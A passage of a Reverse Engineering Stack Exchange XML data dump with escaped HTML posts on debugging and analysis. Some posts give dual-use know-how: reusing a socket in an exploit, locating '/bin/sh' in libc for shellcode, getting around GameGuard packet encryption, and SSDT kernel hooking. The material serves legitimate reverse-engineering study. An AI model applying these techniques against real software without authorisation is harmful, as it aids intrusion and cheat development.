reference:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6569/weird-binwalk-output-on-gopro-firmware&quot;&gt;Weird binwalk output on GoPro Firmware&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2017-11-09T17:44:37.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16748" PostTypeId="1" AcceptedAnswerId="16759" CreationDate="2017-11-10T10:12:17.677" Score="2" ViewCount="1937" Body="&lt;p&gt;I am trying to exploit a program where I have to reuse a socket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;recv&lt;/code&gt; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int recv(&#xA;_In_  SOCKET s, // socket ID&#xA;_Out_ char   *buf,&#xA;_In_  int    len,&#xA;_In_  int    flags&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to find where the socket ID is on the stack. How do I find this using Immunity Debugger?&lt;/p&gt;&#xA;" OwnerUserId="2608" LastEditorUserId="18698" LastEditDate="2017-11-12T09:44:53.283" LastActivityDate="2017-11-13T06:24:49.707" Title="how to find memory objects using immunity debugger" Tags="|debugging|immunity-debugger|shellcode|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16749" PostTypeId="2" ParentId="16744" CreationDate="2017-11-10T18:02:17.253" Score="1" Body="&lt;p&gt;To my best knowledge, Frida has no support for non-android java applications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For desktop java applications you are better of using &lt;a href=&quot;https://zeroturnaround.com/rebellabs/how-to-inspect-classes-in-your-jvm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java agents&lt;/a&gt; or the lower level JVM-TI interface. There's also the &lt;a href=&quot;https://github.com/CrowdStrike/pyspresso&quot; rel=&quot;nofollow noreferrer&quot;&gt;pyspresso&lt;/a&gt; framework which uses the &lt;a href=&quot;https://docs.oracle.com/javase/8/docs/technotes/guides/jpda/jdwp-spec.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java Debug Wire Protocol&lt;/a&gt; to debug java applications using a python code base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have a look at &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1714/dynamic-java-instrumentation?rq=1&quot;&gt;this&lt;/a&gt; answer for more ideas.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2017-11-10T18:02:17.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16753" PostTypeId="1" AcceptedAnswerId="16757" CreationDate="2017-11-12T13:31:36.607" Score="5" ViewCount="15515" Body="&lt;p&gt;I'll be releasing a piece of software soon and I'm looking for good protectors. The three that came to my attention were: Enigma, Themida and VMProtect. I searched a lot online but I couldn't find many comparisons. They are all in a similar price range so that is not a huge problem. I was wondering what the main differences are between them? Virtualization, string encryption, packing etc. I couldn't find much info about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All replies are appreciated! Thanks&lt;/p&gt;&#xA;" OwnerUserId="22236" LastEditorUserId="18317" LastEditDate="2017-11-12T16:01:52.347" LastActivityDate="2017-11-13T02:34:23.077" Title="How do Enigma, Themida and VMProtect compare to each other?" Tags="|decompilation|encryption|protection|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16755" PostTypeId="1" AcceptedAnswerId="16760" CreationDate="2017-11-12T22:12:46.743" Score="6" ViewCount="2674" Body="&lt;p&gt;What is radare2's equivalent to GDB's &lt;code&gt;find &amp;amp;system,+9999999,&quot;/bin/sh&quot;&lt;/code&gt;? &lt;/p&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2019-01-24T11:23:24.500" LastActivityDate="2019-01-24T11:23:24.500" Title="what is radare2's equivalent to GDB's 'find &amp;system,+9999999,&quot;/bin/sh&quot;'" Tags="|radare2|gdb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16756" PostTypeId="1" CreationDate="2017-11-12T23:32:50.583" Score="1" ViewCount="409" Body="&lt;p&gt;Target is protected by nProtect Gameguard. Packets are encrypted. Goal is to obtain unencrypted packet information via the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obtained the free, 5.0 version, of IDA, and disassembled GVOnline.exe (the Uncharted Waters Launch exe). Interestingly enough, what is actually listed as running in Task Manager is NOT the exe, it is GVOnline.bin (another, much larger file in the same directory. Anyway, in the disassembled GVOnline.exe, I cannot find anything that looks like socket calls in the Imports table. No Send, Recv, or any of the other analogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a Pastebin of the Imports:&#xA;&lt;a href=&quot;https://pastebin.com/UEtKSwSk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/UEtKSwSk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a Pastebin of the Names:&#xA;&lt;a href=&quot;https://pastebin.com/GwMaCfVs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/GwMaCfVs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could the application be sending and receiving packets, if not through these calls?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to disassemble GVOnline.bin instead of the exe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be that Gameguard itself is responsible for communicating with the Socket? If that's the case, then I'd suspect Gameguard would also be responsible for encrypting the packet payload, but I should be able to get the raw information from the software itself, as it must construct it somehow before passing it to whatever sends or encrypts it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that I was disassembling the wrong Binary. From a decision made in the initial executable, a second binary is opened and this is where the network calls are made. Disassembling this revealed the network calls and encryption routines.&lt;/p&gt;&#xA;" OwnerUserId="22044" LastEditorUserId="22044" LastEditDate="2017-11-14T22:39:13.000" LastActivityDate="2017-11-17T12:21:25.390" Title="Unable to find Send/Recv type calls in Network Application" Tags="|ida|ollydbg|encryption|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16757" PostTypeId="2" ParentId="16753" CreationDate="2017-11-13T02:34:23.077" Score="11" Body="&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: I do not work for any of the companies that make either of these pieces of software. All details shown are from my own personal research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This comparison will only include the protectors I personally have a licence for: VMProtect and Themida. I do not have a licence to Enigma, so I cannot tell about its protection features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will also not be including the licencing features of either, I will only be talking about the protection methods they employ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get us started, here is the &quot;unprotected&quot; version of a simple loop function that we will be protecting with both protectors to see what they output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/icsmw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/icsmw.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;VMProtect&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VMProtect has 3 protection modes: &lt;em&gt;Mutation&lt;/em&gt;, &lt;em&gt;Virtualization&lt;/em&gt;, and &quot;&lt;em&gt;Ultra&lt;/em&gt;&quot; (both methods combined)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Mutation&lt;/em&gt; does what it says it does: it &lt;strong&gt;mutates&lt;/strong&gt; the assembly code to make automated analysis of it harder. The resulting mutated code varies drastically per compilation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jCdNZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jCdNZ.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, &lt;em&gt;Virtualization&lt;/em&gt; translates the code into a special format that only a special virtual machine can run. It then inserts a &quot;stub&quot; function to call the VM where the actual code was supposed to be ran.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B3hka.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B3hka.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this VM inserts a lot of overhead. The original ~100kb application was increased to around ~600kb after protection using this method. You can decrease the size though by turning on the packing feature inside of VMProtect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also functionality for checking if debuggers are being ran, string encryption, methods of grabbing a unique identifier for the computers hardware, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Themida&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Themida is a little different from VMP. While it also has the same protection features of VMP, it does it much differently and has a few more features that VMP does not have. Note though that these features that VMP does not have do not work on all application types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Themida's &lt;em&gt;Mutation&lt;/em&gt;, it does it quite differently to VMP. It adds lots of random operations to the assembly instead of specifically mutating each opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1gMkw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1gMkw.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Themida's &lt;em&gt;Virtualization&lt;/em&gt; however has one cool feature that VMP does not: Multiple VM architectures. Themida has the ability to have different virtual machines (using a different architecture) inside of the same application. There is also different 'styles' of VM: some faster but less secure, some more secure but less fast, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DI7k0.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DI7k0.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the problem with this is pretty obvious: the size. A protected application with all protection options disabled is around ~2mb from the original ~100kb. Luckily, Themida also has a packing feature to reduce the size, where it reduced it to around ~1mb. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Themida also has a few other features: &lt;em&gt;&quot;ClearCode&quot;&lt;/em&gt;, where it clears the assembly after it ran, &lt;em&gt;&quot;Encode&quot;&lt;/em&gt;, decrypting the code at runtime and re-encrypting it after it was executed, string encryption, and functions to check code integrity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both protections are quite good when used properly. Which one you buy is up to you, not me, so I would recommend you to choose wisely for the application you wish to protect and to see which features you specifically want.&lt;/p&gt;&#xA;" OwnerUserId="16518" LastActivityDate="2017-11-13T02:34:23.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16758" PostTypeId="2" ParentId="16755" CreationDate="2017-11-13T05:35:21.037" Score="2" Body="&lt;p&gt;Thanks to David Polverari from radare @ Telegram&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in debug mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e search.in=range&#xA;e search.from=&amp;lt;start_addr&amp;gt;&#xA;e search.to=&amp;lt;end_addr&amp;gt;&#xA;&#xA;&quot;/ /bin/sh&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22071" LastActivityDate="2017-11-13T05:35:21.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16759" PostTypeId="2" ParentId="16748" CreationDate="2017-11-13T05:55:25.947" Score="3" Body="&lt;p&gt;Put a INT3 (F2) breakpoint on the &lt;code&gt;recv&lt;/code&gt; function (To jump to that function, hit CTRL+G then type &lt;code&gt;recv&lt;/code&gt; to the textbox which just appeared, and then hit enter) within Immunity Debugger, and observe the stack (lower right corner) for the socket ID when the breakpoint is hit.&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2017-11-13T06:24:49.707" LastActivityDate="2017-11-13T06:24:49.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16760" PostTypeId="2" ParentId="16755" CreationDate="2017-11-13T07:13:37.263" Score="8" Body="&lt;p&gt;First and foremost we should open the binary in debug mode with radare2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The string &lt;code&gt;/bin/sh&lt;/code&gt; resides in the &lt;code&gt;system&lt;/code&gt; function of &lt;code&gt;libc&lt;/code&gt; so the library should first be loaded to the memory in order for us to find the string there. Let's continue the execution of the program until its Entrypoint. In this point &lt;code&gt;libc&lt;/code&gt; should already be loaded to the memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0xf7f9bc60]&amp;gt; dcu entry0&#xA;Continue until 0x565914a0 using 1 bpsize&#xA;hit breakpoint at: 565914a0&#xA;[0x565914a0]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dcu&lt;/code&gt; stands for &lt;strong&gt;d&lt;/strong&gt;ebug &lt;strong&gt;c&lt;/strong&gt;ontinue &lt;strong&gt;u&lt;/strong&gt;ntil&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find &lt;code&gt;/bin/sh&lt;/code&gt; we should use radare’s search features. By default radare is searching in &lt;code&gt;dbg.map&lt;/code&gt; which is the current memory map. In our case it's not guaranteed that &lt;code&gt;/bin/sh&lt;/code&gt; will be in our current memory map. Therefore, we want it to search in all memory maps so we need to configure it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080483d0]&amp;gt; e search.in = dbg.maps&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can view more options if you’ll execute &lt;code&gt;e search.in=?&lt;/code&gt;. To configure radare the visual way, use &lt;code&gt;Ve&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching in radare is done with the &lt;code&gt;/&lt;/code&gt; command, you can see the enormous amount of search options by executing &lt;code&gt;/?&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's search for &lt;code&gt;/bin/sh&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x565914a0]&amp;gt; / /bin/sh&#xA;Searching 7 bytes from 0x00000000 to 0xffffffffffffffff: 2f 62 69 6e 2f 73 68 &#xA;Searching 7 bytes in [0x56591000-0x56592000]&#xA;hits: 1&#xA;&#xA;&amp;lt;..truncated..&amp;gt;&#xA;&#xA;Searching 7 bytes in [0xf7d97000-0xf7f66000]&#xA;hits: 1&#xA;&#xA;0xf7f1180a hit1_2 .b/strtod_l.c-c/bin/shexit 0canonica.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Et Voilà! radare found the string in &lt;code&gt;0xf7f1180a&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To speed things up we can tell radare to start searching from &lt;code&gt;system&lt;/code&gt; which is inside &lt;code&gt;libc&lt;/code&gt;.&#xA;First we need the address of &lt;code&gt;system&lt;/code&gt; in libc, we can do this with &lt;code&gt;dmi&lt;/code&gt; and then configure &lt;code&gt;search.from&lt;/code&gt; to start from &lt;code&gt;system&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x565914a0]&amp;gt; dmi libc system&#xA;vaddr=0xf7dd3700 paddr=0x0003c700 ord=566 fwd=NONE sz=1126 bind=LOCAL type=FUNC name=do_system&#xA;vaddr=0xf7ebf470 paddr=0x00128470 ord=4988 fwd=NONE sz=102 bind=LOCAL type=FUNC name=svcerr_systemerr&#xA;vaddr=0xf7dd3c50 paddr=0x0003cc50 ord=6919 fwd=NONE sz=55 bind=WEAK type=FUNC name=system&#xA;&#xA;[0x565914a0]&amp;gt; e search.from=0xf7dd3c50&#xA;[0x565914a0]&amp;gt; / /bin/sh&#xA;Searching 7 bytes from 0xf7dd3c50 to 0xffffffffffffffff: 2f 62 69 6e 2f 73 68 &#xA;Searching 7 bytes in [0xf7dd3c50-0xf7f66000]&#xA;hits: 1&#xA;&#xA;&amp;lt;..truncated..&amp;gt;&#xA;&#xA;0xf7f1180a hit2_0 .b/strtod_l.c-c/bin/shexit 0canonica.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There you go! Now you can print the string using &lt;code&gt;ps @ 0xf7f1180a&lt;/code&gt; or use the address however you want.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-11-13T07:13:37.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16761" PostTypeId="2" ParentId="16756" CreationDate="2017-11-13T15:07:54.557" Score="1" Body="&lt;p&gt;I'm not familiar with GameGuard in particular, but it's quite common for these types of protections to keep an encrypted import table, load the imports and construct the IAT themselves during runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, you could detour the functions by injecting and rewriting after the application has loaded, but seeing that GameGuard is a toolkit made precisely to stop these kinds of things, I suspect you have to get a lot more tricky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: You can look for old safedisc/cdilla and securom unpacking tutorials for an intro on these kinds of wrappers.&lt;/p&gt;&#xA;" OwnerUserId="22252" LastEditorUserId="22252" LastEditDate="2017-11-17T12:21:25.390" LastActivityDate="2017-11-17T12:21:25.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16762" PostTypeId="1" AcceptedAnswerId="16763" CreationDate="2017-11-13T19:32:34.523" Score="0" ViewCount="690" Body="&lt;p&gt;I have a ROM dump from an unknown controller, which must be reversed (as a task). It looks like encrypted, packed or obfuscated. Binwalk did not give any information(&quot;cisco os experimental microcode for firmware&quot;), manual searching for know signatures (packers, CPU, filesystems)  has not produced any result. &#xA;In hex you can see pieces of repeating open text (0x6AD869h - 0x6AE6D3, 0x949C35 - EOF), first few string of file are this strings with some bit shift(probably), but i could't find a some system for this. &#xA;Open text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00949c40  53 65 65 6b 20 41 47 52  45 45 4d 45 4e 54 20 66  |Seek AGREEMENT f|&#xA;00949c50  6f 72 20 74 68 65 20 64  61 74 65 20 6f 66 20 63  |or the date of c|&#xA;00949c60  6f 6d 70 6c 65 74 69 6f  6e 2e 00 53 65 65 6b 20  |ompletion..Seek |&#xA;00949c70  41 47 52 45 45 4d 45 4e  54 20 66 6f 72 20 74 68  |AGREEMENT for th|&#xA;00949c80  65 20 64 61 74 65 20 6f  66 20 63 6f 6d 70 6c 65  |e date of comple|&#xA;00949c90  74 69 6f 6e 2e 00 53 65  65 6b 20 41 47 52 45 45  |tion..Seek AGREE|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First few strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  da 7c 77 5b 08 c6 31 c5  45 d1 eb bd 4f 57 20 66  |.|w[..1.E...OW f|&#xA;00000010  6e 73 20 74 68 80 8a 56  61 74 65 20 6f 83 8a 51  |ns th..Vate o..Q|&#xA;00000020  6e 6d 70 6c 65 74 69 5b  6e 3f d6 e3 65 0f 8d f4  |nmpleti[n?..e...|&#xA;00000030  a8 e4 94 e0 2e 28 37 20  31 4c 66 6f 72 20 74 68  |.....(7 1Lfor th|&#xA;00000040  65 20 64 61 74 74 f6 13  67 20 63 6f 6d 95 c6 57  |e datt..g com..W|&#xA;00000050  74 69 6f 6e fd 4f 2b 26  42 6e 39 17 14 08 52 ad  |tion.O+&amp;amp;Bn9...R.|&#xA;00000060  18 17 a4 15 20 77 b9 6a  a0 74 48 65 a0 64 03 44  |.... w.j.tHe.d.D|&#xA;00000070  31 82 c1 66 25 66 6d 6e  3d 03 1d 15 44 26 39 0e  |1..f%fmn=...D&amp;amp;9.|&#xA;00000080  61 24 0e 45 18 45 33 2e  37 36 45 4d 45 4e 54 20  |a$.E.E3.76EMENT |&#xA;00000090  66 6f 72 20 74 68 65 20  39 61 74 65 21 6f a4 13  |for the 9ate!o..|&#xA;000000a0  63 6f 6d 70 6c 65 74 06  92 91 d1 a3 e4 1a ac b5  |complet.........|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://drive.google.com/file/d/1MuGBQQgHv73W7697N6tnU7EJ1QSBaNh4/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firmware.rom&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://drive.google.com/file/d/1Pey2XEQX9wGvh2knY2QjdHPsXBqC2vfb/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;hex dump&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise how to encrypt/unpack this, or what am I doing wrong? &lt;/p&gt;&#xA;" OwnerUserId="22253" LastEditorUserId="53" LastEditDate="2017-11-15T10:14:30.550" LastActivityDate="2017-11-15T10:14:30.550" Title="Unpacking ROM dump" Tags="|binary-analysis|firmware|deobfuscation|rom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16763" PostTypeId="2" ParentId="16762" CreationDate="2017-11-13T20:18:23.740" Score="1" Body="&lt;p&gt;&lt;code&gt;Seek AGREEMENT for the date of completion.\0&lt;/code&gt; or &lt;code&gt;Seek AGREEMENT for the date of completion. &lt;/code&gt; is a key applied by either addition or XORing input with output. You can see how it lines up with the hexdump. It should be relatively easy to write a program which would remove this level of obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  da 7c 77 5b 08 c6 31 c5  45 d1 eb bd 4f 57 20 66  |.|w[..1.E...OW f|&#xA;00000010  6e 73 20 74 68 80 8a 56  61 74 65 20 6f 83 8a 51  |ns th..Vate o..Q|&#xA;00000020  6e 6d 70 6c 65 74 69 5b  6e 3f d6 e3 65 0f 8d f4  |nmpleti[n?..e...|&#xA;00000030  a8 e4 94 e0 2e 28 37 20  31 4c 66 6f 72 20 74 68  |.....(7 1Lfor th|&#xA;00000040  65 20 64 61 74 74 f6 13  67 20 63 6f 6d 95 c6 57  |e datt..g com..W|&#xA;00000050  74 69 6f 6e fd 4f 2b 26  42 6e 39 17 14 08 52 ad  |tion.O+&amp;amp;Bn9...R.|&#xA;&#xA;00000000  53 65 65 6b 20 41 47 52  45 45 4d 45 4e 54 20 66  |Seek AGREEMENT f|&#xA;00000010  6f 72 20 74 68 65 20 64  61 74 65 20 6f 66 20 63  |or the date of c|&#xA;00000020  6f 6d 70 6c 65 74 69 6f  6e 2e 00 53 65 65 6b 20  |ompletion..Seek |&#xA;00000030  41 47 52 45 45 4d 45 4e  54 20 66 6f 72 20 74 68  |AGREEMENT for th|&#xA;00000040  65 20 64 61 74 65 20 6f  66 20 63 6f 6d 70 6c 65  |e date of comple|&#xA;00000050  74 69 6f 6e 2e 00                                 |tion..          |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13606" LastEditorUserId="13606" LastEditDate="2017-11-14T08:48:12.157" LastActivityDate="2017-11-14T08:48:12.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16766" PostTypeId="2" ParentId="15457" CreationDate="2017-11-14T18:17:18.393" Score="2" Body="&lt;p&gt;I would like to expand a bit on the previous answer after I have learned some more about decompilation.&#xA;There are two principle types of objects in c++ (on MS Windows, that is). Those two are objects with vtables and objects without vtables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In objects without vtables, identifying them is definitely more tricky, but on the plus side, these are usually either very big structures that are declared at compile time, or small structures that are constructed within the scope of the function. So you can either tell the object apart by it's constructor or it's address in the memory. Or at the very least, locally constructed objects without vtables aren't too many function calls behind.&lt;/p&gt;&#xA;" OwnerUserId="20392" LastActivityDate="2017-11-14T18:17:18.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16768" PostTypeId="1" CreationDate="2017-11-15T18:21:07.863" Score="1" ViewCount="941" Body="&lt;p&gt;I am trying to find out how to extract firmware from a Bluetooth keyboard, my understanding is that I would have to JTAG to retrieve the the firmware from the device is that correct? Also has anyone successfully done this in the past that might be able to give me any advice, I want to review to firmware to see how the keyboard interacts with the Bluetooth stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="22277" LastActivityDate="2017-11-16T09:05:06.833" Title="Extracting Keyboard Firmware" Tags="|jtag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16769" PostTypeId="1" AcceptedAnswerId="16771" CreationDate="2017-11-15T18:58:35.143" Score="2" ViewCount="978" Body="&lt;p&gt;Using IDA, can I specify 2 Sub-Routines (really, it's 2 WINAPI calls) and have IDA create a &quot;map&quot; between the 2 points? I want to know all the possible branches the EIP can take from one instruction to another instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using IDA-Pro 6.0 (or 6.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit - I can only use static analysis tools for this.&lt;/p&gt;&#xA;" OwnerUserId="22044" LastEditorUserId="22044" LastEditDate="2017-11-15T19:02:30.303" LastActivityDate="2018-04-15T10:59:40.800" Title="IDA - Create Process Flow Map Between 2 Sub-Routines" Tags="|ida|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16770" PostTypeId="1" CreationDate="2017-11-16T06:19:16.273" Score="1" ViewCount="427" Body="&lt;p&gt;I wrote a code that hooks the &lt;code&gt;SSDT&lt;/code&gt;. Currently I can hook functions exported only from &lt;code&gt;ntdll&lt;/code&gt;: &lt;code&gt;NtCreateFile&lt;/code&gt;, &lt;code&gt;NtClose&lt;/code&gt; etc. since they are the only ones that have entries in SSDT. I wanna know if there is a table or some kind of place where the other dll functions reside. Let's say I wanna hook &lt;code&gt;Advapi32!CryptEncrypt&lt;/code&gt; function in Kernel Mode. How can this be done?&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2023-12-23T00:07:40.963" Title="Addresses of dlls in Kernel Space" Tags="|kernel-mode|function-hooking|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16771" PostTypeId="2" ParentId="16769" CreationDate="2017-11-16T08:06:01.617" Score="2" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://github.com/devttys0/ida/tree/master/plugins/alleycat&quot; rel=&quot;nofollow noreferrer&quot;&gt;alleycat&lt;/a&gt; plugin to find the path between two functions/basic blocks etc.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finding the path between two functions &lt;code&gt;http_init_main&lt;/code&gt; and &lt;code&gt;http_parser_set_challenge&lt;/code&gt; in a mipsel elf.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to View -&gt; Find paths from current function to...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mlR53.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the target function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K0I70.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alleycat would display the path to reach the selected function from initial function. Additionally, the corresponding basic blocks would be highlighted in the graph view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJplS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2017-11-16T08:06:01.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
